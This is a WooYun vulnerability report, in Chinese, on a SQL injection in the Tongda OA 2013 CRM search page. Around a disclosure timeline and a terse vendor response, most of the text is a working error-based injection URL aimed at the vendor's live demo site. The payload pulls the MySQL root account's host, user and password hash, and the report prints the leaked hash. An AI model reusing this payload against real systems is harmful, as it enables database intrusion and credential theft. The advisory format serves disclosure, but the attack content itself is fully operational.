当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103306

漏洞标题:通达oa2013又一奇葩注入DBA

相关厂商:通达信科

漏洞作者: 路人甲

提交时间:2015-03-25 15:32

修复时间:2015-06-24 11:04

公开时间:2015-06-24 11:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-25: 细节已通知厂商并且等待厂商处理中
2015-03-26: 厂商已经确认,细节仅向厂商公开
2015-03-29: 细节向第三方安全合作伙伴开放
2015-05-20: 细节向核心白帽子及相关领域专家公开
2015-05-30: 细节向普通白帽子公开
2015-06-09: 细节向实习白帽子公开
2015-06-24: 细节向公众公开

简要描述:

无语了。。。

详细说明:

官网demo登录试用:
http://www.day900.com/
发现这个:
http://www.day900.com/general/crm/apps/crm/include/search.php?ENTITY=crm_marketing&PAGE_SIZE=10&CUR_PAGE=&ORDERFIELD=&ORDERTYPE=&USER_VIEW=1706
payload:ENTITY=crm_marketing'
返回这个:
请联系管理员
错误#1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' WHERE crm_marketing\'.deleted = 0 AND ( 0 OR FIND_IN_SET('ghq',crm_market' at line 1
SQL语句: SELECT count(*) FROM crm_marketing\' WHERE crm_marketing\'.deleted = 0 AND ( 0 OR FIND_IN_SET('ghq',crm_marketing\'.share_man) ) and (crm_marketing.marketing_type = '技术培训' and (crm_marketing.marketing_status <> 'STATUS_NAME_34' OR crm_marketing.marketing_status IS NULL) )
文件:/general/crm/apps/crm/include/search.php
注入点竟然在from 处,就是什么表都可以查咯
上payload:
crm_marketing%20where%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
即:
http://www.day900.com/general/crm/apps/crm/include/search.php?ENTITY=crm_marketing%20where%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23&PAGE_SIZE=10&CUR_PAGE=&ORDERFIELD=&ORDERTYPE=&USER_VIEW=1706
返回root@密码:
错误#1062: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 'group_key'
SQL语句: SELECT count(*) FROM crm_marketing where (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# WHERE crm_marketing where (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#.deleted = 0 AND ( 0 OR FIND_IN_SET('ghq',crm_marketing where (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#.share_man) ) and (crm_marketing.marketing_type = '技术培训' and (crm_marketing.marketing_status <> 'STATUS_NAME_34' OR crm_marketing.marketing_status IS NULL) )
文件:/general/crm/apps/crm/include/search.php

漏洞证明:

见详细说明

修复方案:

控制好

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-03-26 11:02

厂商回复:

2013版已停止销售

最新状态:

暂无